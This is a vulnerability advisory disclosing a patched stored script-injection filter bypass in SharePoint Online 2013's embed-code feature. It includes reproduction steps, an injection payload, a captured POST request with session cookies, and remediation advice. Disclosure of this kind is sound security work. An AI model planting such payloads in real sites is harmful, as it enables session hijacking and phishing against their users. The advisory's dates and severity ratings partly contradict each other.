Microsoft Sharepoint - Bypass & Persistent Vulnerability

Document Title:
===============
Microsoft Sharepoint - Bypass & Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1024

Microsoft Security Response Center (MSRC) ID: 15181


Release Date:
=============
2014-01-13


Vulnerability Laboratory ID (VL-ID):
====================================
1024


Common Vulnerability Scoring System:
====================================
4.1


Product & Service Introduction:
===============================
Microsoft SharePoint is a Web application platform developed by Microsoft. First launched in 2001, SharePoint has 
historically been associated with intranet content management and document management, but recent versions have 
significantly broader capabilities. 

Microsoft has two versions of SharePoint available at no cost, but it sells premium editions with additional functionality, 
and provides a cloud service edition as part of their Office 365 platform (previously BPOS). The product is also sold 
through a cloud model by many third-party vendors.

SharePoint comprises a multipurpose set of Web technologies backed by a common technical infrastructure. By default, 
SharePoint has a Microsoft Office-like interface, and it is closely integrated with the Office suite. The web tools are 
designed to be usable by non-technical users. SharePoint can be used to provide intranet portals, document & file management, 
collaboration, social networks, extranets, websites, enterprise search, and business intelligence. It also has system 
integration, process integration, and workflow automation capabilities.

Enterprise application software (e.g. ERP or CRM packages) often provide some SharePoint integration capability, and SharePoint 
also incorporates a complete development stack based on web technologies and standards-based APIs. As an application platform, 
SharePoint provides central management, governance, and security controls for implementation of these requirements. The SharePoint 
platform integrates directly into IIS - enabling bulk management, scaling, and provisioning of servers, as is often required 
by large organizations or cloud hosting providers.

In 2008, the Gartner Group put SharePoint in the`leaders` quadrant in three of its Magic Quadrants (for search, portals, 
and enterprise content management). SharePoint is used by 78% of Fortune 500 companies[citation needed]. Between 2006 to 2011, 
Microsoft sold over 36.5 million user licenses.

(Copy of the Homepage: http://en.wikipedia.org/wiki/Microsoft_SharePoint )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team has discovered a filter bypass & persistent vulnerability in the Microsoft Sharepoint Online (cloud) 2013 application.


Vulnerability Disclosure Timeline:
==================================
2013-07-18:	Researcher Notification & Coordination (Ateeq ur Rehman Khan)
2013-07-19:	Vendor Notification (Microsoft Security Response Center - MSRC)
2013-12-11:	Vendor Response/Feedback (Microsoft Security Response Center - MSRC)
2013-12-30:	Vendor Fix/Patch (Microsoft Development Team - Manager: Brandon)
2013-01-14:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Microsoft Corporation
Product: Sharepoint Online 2013 Q2


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
It has been discovered that it is possible to evade the current security controls on Microsoft Sharepoint Online 2013 Web Application 
by simply adding a blank iframe in the HTML through `embed code` feature. It does not matter what policies have been implemented 
through the `HTML Field Security` feature. All filters / policies are easily evaded using the above mentioned filter bypass technique 
and this should be fixed immediately. Please note, once the filter is evaded, it is possible to inject malicious script code without 
any restrictions and it doesn`t get stripped / filtered even after publishing. 

The vulnerability is located in the `Sharepoint Online Cloud Service` under the Social Sites section. PoC was conducted on 
the `Team` Site module however the `Public` Site should also be vulnerable to the same bug. 

Vulnerable feature is`ms-rte-embedcode ms-rte-embedwp` and all relevant details are mentioned in the PoC section of this advisory.

This vulnerability can be exploited with a (restricted) privileged application user account and low or medium required user interaction. 
Successful exploitation of the vulnerability results in filter evasion of all Sharepoint security policies for the websites and allows 
execution of persistent script code that can result in session hijacking, persistent phishing, stable external redirect, stable external 
malware loads and persistent vulnerable module context manipulation.

Vulnerable Service(s):
				[+] Microsoft - Sharepoint Online (cloud-based)

Vulnerable Module(s):
				[+] Sites > Insert > Embed Code

Vulnerable Features(s):
				[+] ms-rte-embedcode ms-rte-embedwp

Affected Module(s):
				[+] Sharepoint Social Sites


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote attackers with low required user interaction 
and (restricted) privileged sharepoint cloud application user account. For security demonstration or to reproduce the vulnerability follow 
the provided information and steps below.

1. Register an office and sharepoint online 2013 account
2. Login to the sharepoint portal as admin
3. Goto your Site and click on Edit
4. Goto Insert and include "embed code"
5. in the Input box, enter the given "Payload"
6. Click Insert and then Save
7. Upon being redirected to the index page, a javascript box should pop up proving the existence of this vulnerability

Note: It is also possible to request local system path by including frames with local requests.


Payload used for this POC:

"><img src="x" onerror=prompt(/Bypassed/)></img>
<iframe src="x">
</iframe>


POC Sourcecode:

<div class="ms-webpart-chrome ms-webpart-chrome-vertical ms-webpart-chrome-fullWidth ">
	<div WebPartID="ceb7432c-4451-47e8-b56c-92b75538c3fa" WebPartID2="ceb7432c-4451-47e8-b56c-92b75538c3fa" 
HasPers="false" 

id="WebPartctl00_ctl33_g_ceb7432c_4451_47e8_b56c_92b75538c3fa" width="100%" class="ms-WPBody noindex " 
allowRemove="false" allowDelete="false" allowExport="false" 

style="" ><div id="ctl00_ctl33_g_ceb7432c_4451_47e8_b56c_92b75538c3fa">
		<DIV class="ms-rte-embedcode ms-rte-embedwp"></DIV>
	</div><div class="ms-clear"></div></div>
</div><div class="ms-PartSpacingVertical"></div>
		</div><div id="MSOZoneCell_WebPartctl00_ctl33_g_880e4bbd_04d1_419d_95c4_9c9451d43590" 
class="s4-wpcell-plain ms-webpartzone-cell ms-webpart-cell-

vertical ms-fullWidth ">
			<div class="ms-webpart-chrome ms-webpart-chrome-vertical ms-webpart-chrome-fullWidth ">
	<div WebPartID="10668865-42e6-4104-8f76-7e869f265e49" WebPartID2="880e4bbd-04d1-419d-95c4-9c9451d43590" 
HasPers="false" 

id="WebPartctl00_ctl33_g_880e4bbd_04d1_419d_95c4_9c9451d43590" width="100%" class="ms-WPBody noindex " 
allowRemove="false" allowDelete="false" allowExport="false" 

style="" ><div id="ctl00_ctl33_g_880e4bbd_04d1_419d_95c4_9c9451d43590">
		<DIV class="ms-rte-embedcode ms-rte-embedwp">"><img src="x" onerror=prompt(/Bypassed/)></img>
<iframe src="x">
</iframe>
&#8203;&#8203;&#8203;&#8203;&#8203;


POST Request:

POST /SitePages/Home.aspx HTTP/1.1
Host: vlabsevo.sharepoint.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: https://vlabsevo.sharepoint.com/SitePages/Home.aspx
Cookie: Ribbon.WebPartPage=1366639|-1|528|-696233630; Ribbon.Read=1366639|-1|0|-696233630; 
Ribbon.EditingTools.CPEditTab=1366639|-1|109|-1111344165; 

Ribbon.EditingTools.CPInsert=1366639|-1|964|-1111344165; Ribbon.WikiPageTab=1366639|-1|544|2072344984; 
Ribbon.ListForm.Display=1366639|-1|1083|1438528038; rtFa=FLP4Ts

+4Qsoz3BUEvXwuRtRkV2Uind20KGiFUeGffdJWa8GRS5ZLAqfYskSaVNsanh743bobyqSSP3vZ5SYogZFPPu23pBMPD/fakV/e45EfNzR8bZh7WNhot/0cR3d214y9b8Pa1pXsIbkv5sf
+lUiPPxjIseVexjqJSfaxLi4jTklGuljemnFpaRu7X28b2O0MBsa4LYip/
+OMFilRqZvlGFfl6Eu0rQWZsiISo2Ug4JTmObaOeOG2O/7iTeO2NLQNrBC36BxWijpqWfIUjS1Sa/GVxzBl2JXDwnCGbB1ssvTqHInhEqDcUFol0r/1VKp3+pE3BztjHpot8E20Ta04
EBpuJciISrYBjUjBxcXVazCj3tXM
Nr0AsugLEPOwIAAAAA==; FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A
+RmFsc2UsMGguZnxtZW1iZXJzaGlwfDEwMDMwMDAwODY0NDI4MTJAbGl2ZS5jb20sMCMuZnxtZW1iZXJzaGlwfGF0ZWVxQHZsYWJzZXZvLm9ubWljcm9zb2Z0LmNvbSwxMzAxOTE0NTI0N
jQ0OTQxMzUsRmFsc2UsVlRKMlg2WkE3eUMvU2ovL0FGRVhjSW5RWDVKZVVkVG80NnJiaEtqSlhYUkN6V1J5b2lBcHVVQ3h3MlJwYTZEZEFPU0tHOHkzZkF4MTdtNTEzbkRXMDg2dW1DNUc
zdlFuTER0K20ybkZLd3I0NTVKTEdPT0FKLzRxSVl4UjF0NGF4MzlBaU5hVytHYU4yeDBGWngwU2VNZGMzelh4RDlMNTVzOUJZNG5mY0tUd0psWmNZUFN0TDBOcE11eXhRUVpEUGI4QWg0Vn
l0U3YvejBmOFlxb3FkTzU4dFV4d09pcGs4amZBVytPa1RiQXVOR3hzdWM1YWoxbnd3bmZpbU1hMk8xa1M0WHh0b2xvWmFqSG0ydktrNThjV0JETHc5WjlCQ2JRbGxEeTh0alNJK0J5WmRpR
HF0RDRKUE9sRjd3ZC9xSW1ncGlITmhKOFA5TWx5SzhWS2FnPT0saHR0cHM6Ly92bGFic2V2by5zaGFyZXBvaW50LmNvbS9TaXR

lUGFnZXMvSG9tZS5hc3B4PC9TUD4=; WSS_FullScreenMode=false
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------138982647615699
Content-Length: 8167

-----------------------------138982647615699
Content-Disposition: form-data; name="_wpcmWpid"

880e4bbd-04d1-419d-95c4-9c9451d43590
-----------------------------138982647615699
Content-Disposition: form-data; name="wpcmVal"

4#d739d788-0d24-4fbd-b76d-8977a63480a7$$__WPCM__$$4#435c0208-fd39-430d-9957-b63fa30ed803
-----------------------------138982647615699
Content-Disposition: form-data; name="MSOWebPartPage_PostbackSource"


-----------------------------138982647615699
Content-Disposition: form-data; name="MSOTlPn_SelectedWpId"


-----------------------------138982647615699
Content-Disposition: form-data; name="MSOTlPn_View"

0
-----------------------------138982647615699
Content-Disposition: form-data; name="MSOTlPn_ShowSettings"

False
-----------------------------138982647615699
Content-Disposition: form-data; name="MSOGallery_SelectedLibrary"


-----------------------------138982647615699
Content-Disposition: form-data; name="MSOGallery_FilterString"


-----------------------------138982647615699
Content-Disposition: form-data; name="MSOTlPn_Button"

none
-----------------------------138982647615699
Content-Disposition: form-data; name="_wikiPageMode"

Edit
-----------------------------138982647615699
Content-Disposition: form-data; name="__EVENTTARGET"

ctl00$WebPartAdder
-----------------------------138982647615699
Content-Disposition: form-data; name="__EVENTARGUMENT"

addItem&wpz&0&4785d514%2De6d9%2D43ad%2Dace0%2Dadaf0951f469%3D9160517b%2Dfaa1%2D4e92%2Da4fe%2D162994394a3c&880e4b
bd%2D04d1%2D419d%2D95c4%2D9c9451d43590
-----------------------------138982647615699
Content-Disposition: form-data; name="__REQUESTDIGEST"

0x210677C6489B8A30DB01A531BA0809AAEC8972AA3D73AA263595B0B32E7D8C53FA808C479575B557F9173176FF0DF1D29FB87A17D98E0B7EBC1CA6324CDE977E,
19 Jul 2013 13:13:07 -0000
-----------------------------138982647615699
Content-Disposition: form-data; name="_ListSchemaVersion_{6ce2f843-7e44-4d03-aac5-32b19c0e2742}"

3
-----------------------------138982647615699
Content-Disposition: form-data; name="MSOAuthoringConsole_FormContext"


-----------------------------138982647615699
Content-Disposition: form-data; name="MSOAC_EditDuringWorkflow"


-----------------------------138982647615699
Content-Disposition: form-data; name="InputComments"


-----------------------------138982647615699
Content-Disposition: form-data; name="_wikiPageCommand"


-----------------------------138982647615699
Content-Disposition: form-data; name="SPPageStateContext_PreviousAuthoringVersion"

29
-----------------------------138982647615699
Content-Disposition: form-data; name="MSOSPWebPartManager_DisplayModeName"

Browse
-----------------------------138982647615699
Content-Disposition: form-data; name="MSOSPWebPartManager_ExitingDesignMode"

false
-----------------------------138982647615699
Content-Disposition: form-data; name="MSOWebPartPage_Shared"


-----------------------------138982647615699
Content-Disposition: form-data; name="MSOLayout_LayoutChanges"


-----------------------------138982647615699
Content-Disposition: form-data; name="MSOLayout_InDesignMode"


-----------------------------138982647615699
Content-Disposition: form-data; name="_wpSelected"


-----------------------------138982647615699
Content-Disposition: form-data; name="_wzSelected"


-----------------------------138982647615699
Content-Disposition: form-data; name="MSOSPWebPartManager_OldDisplayModeName"

Browse
-----------------------------138982647615699
Content-Disposition: form-data; name="MSOSPWebPartManager_StartWebPartEditingName"

false
-----------------------------138982647615699
Content-Disposition: form-data; name="MSOSPWebPartManager_EndWebPartEditing"

false
-----------------------------138982647615699
Content-Disposition: form-data; name="_maintainWorkspaceScrollPosition"

0
-----------------------------138982647615699
Content-Disposition: form-data; name="ctl00_WebPartAdder_selCat"

Apps
-----------------------------138982647615699
Content-Disposition: form-data; name="ctl00_WebPartAdder_selItem"

"><h1>asfas</h1>
-----------------------------138982647615699
Content-Disposition: form-data; name="ctl00_WebPartAdder_selTab"

description
-----------------------------138982647615699
Content-Disposition: form-data; name="ctl00_WebPartAdder_selZone"


-----------------------------138982647615699
Content-Disposition: form-data; name="ctl00_WebPartAdder_layout"

583200936;103,36,275,217;7;3;7,3;5;7,3;2;7,2;2;7,1;4;6
-----------------------------138982647615699
Content-Disposition: form-data; name="ctl00_WebPartAdder_visible"


-----------------------------138982647615699
Content-Disposition: form-data; name="ctl00_WebPartAdder_catColVisible"


-----------------------------138982647615699
Content-Disposition: form-data; name="ctl00_WebPartAdder_wpVal"


-----------------------------138982647615699
Content-Disposition: form-data; name="ms-rtefocuselementid"

ctl00_PlaceHolderMain_WikiField_ctl00_ctl00_TextField_inplacerte
-----------------------------138982647615699
Content-Disposition: form-data; name="ms-rtedirtybit"

1
-----------------------------138982647615699
Content-Disposition: form-data; name="SPPageStateContext_PreviousAuthoringItemUser"

1
-----------------------------138982647615699
Content-Disposition: form-data; name="__VIEWSTATE"

/wEPBSpWU0tleTo2MzU0NjBlMS01ZDI2LTQzMGYtYjM3YS03ODIzZmFmNWY4MWUYAgUsY3RsMDAkUGxhY2VIb2xkZXJUb3BOYXZCYXIkVG9wTmF2aWdhdG
lvbk1lbnVkBS1jdGwwMCRQbGFjZUhvbGRlckxlZnROYXZCYXI

kVjRRdWlja0xhdW5jaE1lbnVkbOhA/IZBQ9zC5CSUrVC29dNb9Hqy4sH/BlCfFRiKMMM=
-----------------------------138982647615699
Content-Disposition: form-data; name="__SCROLLPOSITIONX"

0
-----------------------------138982647615699
Content-Disposition: form-data; name="__SCROLLPOSITIONY"

0
-----------------------------138982647615699
Content-Disposition: form-data; name="__EVENTVALIDATION"

/wEdAAeGHefrABii09vk36N/ddNh0mdSE9/ejYYPXEQDvuz8jTE2ZPaixp3A4yJqsaaZ9TPrrN5FvkZkW5vb4NPvkQr2eDskeWR9ktMABGZIEz3LaSut2+
M2AsG2mOuq1OkDX9tONqhzECj/dmshOrCXLKkNiFzx/l

+eHTfOGUoycp47z1nvdhUA+PMr53FfgymnFgo=
-----------------------------138982647615699
Content-Disposition: form-data; name="ctl00$ctl52"

Ribbon.EditingTools.CPInsert
-----------------------------138982647615699
Content-Disposition: form-data; name="ctl00_WebPartAdder_upload"; filename=""
Content-Type: application/octet-stream


-----------------------------138982647615699
Content-Disposition: form-data; name="ctl00$PlaceHolderMain$wikiPageNameEditTextBox"

Home
-----------------------------138982647615699
Content-Disposition: form-data; name="ctl00$PlaceHolderMain$WikiField$ctl00$ctl00$TextField_spSave"
<div class="ExternalClass72C46EE4833F427583090AD31015BAA2"><table id="ctl00_PlaceHolderMain_WikiField_ctl00_ctl00_TextField_inplacerte_layoutsTable" 
style="width: 100%;"><tbody><tr style="vertical-align: top;"><td style="width: 100%;"><div class="ms-rte-layoutszone-outer" 
style="width: 100%;"><div contenteditable="true" class="ms-rte-layoutszone-inner-editable ms-rtestate-write" role="textbox" 
aria-autocomplete="both" aria-haspopup="true" aria-multiline="true"><div contenteditable="false" class="ms-rtestate-read ms-rte-wpbox">
<div id="div_880e4bbd-04d1-419d-95c4-9c9451d43590" class="ms-rtestate-notify  ms-rtestate-read 880e4bbd-04d1-419d-95c4-9c9451d43590"></div>
<div id="vid_880e4bbd-04d1-419d-95c4-9c9451d43590" style="display: none;"></div></div><p><span id="ms-rterangecursor-start" rtenodeid="1"></span>
<span id="ms-rterangecursor-end"></span><br type="_moz"/></p></div></div></td></tr></tbody></table>
<span id="ctl00_PlaceHolderMain_WikiField_ctl00_ctl00_TextField_inplacerte_layoutsData" 
style="display: none;">false,false,1</span></div>
-----------------------------138982647615699
Content-Disposition: form-data; name="880e4bbd-04d1-419d-95c4-9c9451d43590scriptcontent"

"><img src="x" onerror=prompt(/Bypassed/)></img>

<iframe src="x">

</iframe>
​​​​​

-----------------------------138982647615699--


Response:

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-SharePointHealthScore: 0
X-AspNet-Version: 4.0.30319
SPRequestGuid: fb93309c-2343-90ec-0c34-6e3c8b46c10d
request-id: fb93309c-2343-90ec-0c34-6e3c8b46c10d
X-RequestDigest: 0x9A44EB25EC8628BCFAD7571D0BB9B3C1F2673135B280BE264189483474AB49233D2C9C1331797D01CD8ED2F044581E911F73C77
DA8E0370A3DFA2CF2B62268FA,19 Jul 2013 

13:16:17 -0000
X-FRAME-OPTIONS: SAMEORIGIN
SPRequestDuration: 1779
SPIisLatency: 1
Set-Cookie: https%3A%2F%2Fvlabsevo%2Esharepoint%2Ecom

%2FDiscovery=WorkspaceSiteName=dHJpYWwgVGVhbSBTaXRl&WorkspaceSiteUrl=aHR0cHM6Ly92bGFic2V2by5zaGFyZXBvaW50LmNvbQ==
&WorkspaceSiteTime=MjAxMy0wNy0xOVQxMzoxNjoxNw==; 

expires=Sun, 18-Aug-2013 13:16:17 GMT; path=/_vti_bin/Discovery.asmx
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.1810
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
Date: Fri, 19 Jul 2013 13:16:16 GMT
Content-Length: 153797


Solution - Fix & Patch:
=======================
Proper Input validation should be performed while embedding code in the HTML editor to parse all malicious script code requests. 
HTML Security policy should also be enforced on the `embed code` scriptlet. 
Disallow external redirects by via policy or restriction filter  when processing to request illegal tags or script code.



Security Risk:
==============
The security risk of the of the filter bypass & persistent input validation vulnerability is estimated as high.



Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Ateeq Khan ([email protected]) (www.vulnerability-lab.com) 


Disclaimer & Information:
=========================
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